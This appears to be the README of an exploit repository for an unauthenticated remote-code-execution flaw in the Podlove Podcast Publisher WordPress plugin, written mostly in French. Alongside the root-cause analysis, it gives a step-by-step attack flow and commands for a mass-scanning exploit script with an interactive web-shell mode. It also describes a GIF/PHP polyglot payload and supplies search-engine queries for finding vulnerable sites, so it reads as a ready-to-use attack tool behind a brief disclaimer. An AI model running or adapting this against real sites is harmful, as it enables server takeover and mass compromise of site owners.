
Exploit pour CVE-2026-13001 : RCE non authentifiée dans Podlove Podcast Publisher via confusion d'extension. Inclut le scan de masse, un shell interactif et une charge utile polyglotte PHP GIF89a.
CVSS 9.8 (Critique) | Téléversement arbitraire de fichier non authentifié conduisant à une exécution de code à distance
Vulnérabilité critique dans le plugin WordPress Podlove Podcast Publisher (versions jusqu'à 4.5.1 incluse) qui permet à des attaquants non authentifiés de téléverser des fichiers PHP arbitraires sur le serveur via la fonctionnalité de cache d'images, conduisant à une exécution de code à distance (RCE).
La vulnérabilité exploite un désaccord entre deux fonctions internes qui analysent les extensions de fichiers différemment :
| Fonction | Méthode | Entrée : payload.php?.gif | Résultat |
|---|---|---|---|
is_image() | basename() puis pathinfo() | payload.php?.gif | .gif (passe la validation) |
extract_file_extension() | parse_url() puis pathinfo() | /payload.php | .php (enregistré sur le disque) |
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-13001 |
| CVSS | 9.8 (Critique) |
| CWE | CWE-20 (Validation d'entrée incorrecte) |
| Plugin | Podlove Podcast Publisher |
| Versions affectées | Jusqu'à 4.5.1 incluse |
| Version corrigée | 4.5.2 |
| Type | Téléversement arbitraire de fichier non authentifié menant à une RCE |
| Chercheur | Talal Nasraddeen (via Wordfence) |
| Publié | 14 juillet 2026 |
La vulnérabilité existe parce que deux fonctions du plugin Podlove analysent la même URL mais extraient des extensions de fichiers différentes :
is_image() — Validation (dans lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
La fonction vérifie :
exif_imagetype() - exige un en-tête d'image valide (GIF89a)wp_check_filetype_and_ext()Comme basename() inclut la chaîne de requête, l'extension apparaît comme gif - absente de la liste de blocage.
extract_file_extension() — Nommage des fichiers (dans lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
Le fichier est enregistré avec l'extension .php sur le disque.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
Le fichier shell_polyglot.gif.php est un fichier polyglotte valide à la fois comme image GIF et comme PHP :
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Important : la polyglotte doit être hébergée en tant que fichier statique (par exemple, Cloudflare R2, AWS S3, nginx sans PHP). Si le serveur d'hébergement traite le PHP, le code s'exécute sur le serveur d'hébergement au lieu d'être livré en tant que contenu brut à la cible.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
Une exploitation réussie permet une exécution de code à distance en tant qu'utilisateur du serveur web :
wp-content/cache/podlove/podlove_image_cache_urlCette vulnérabilité est un contournement du correctif de CVE-2025-10147 (Podlove <= 4.2.6).
| Aspect | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Cause racine | Aucune validation du type de fichier | Contournement de la validation via confusion d'extension |
| Technique | Téléversement direct de fichier PHP | Polyglotte GIF89a + astuce de requête URL |
| Correctif appliqué | Ajout de is_image() avec liste de blocage | Correction de la cohérence de l'analyse des extensions |
Voir analysis/CVE_COMPARISON.md pour une comparaison détaillée.
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.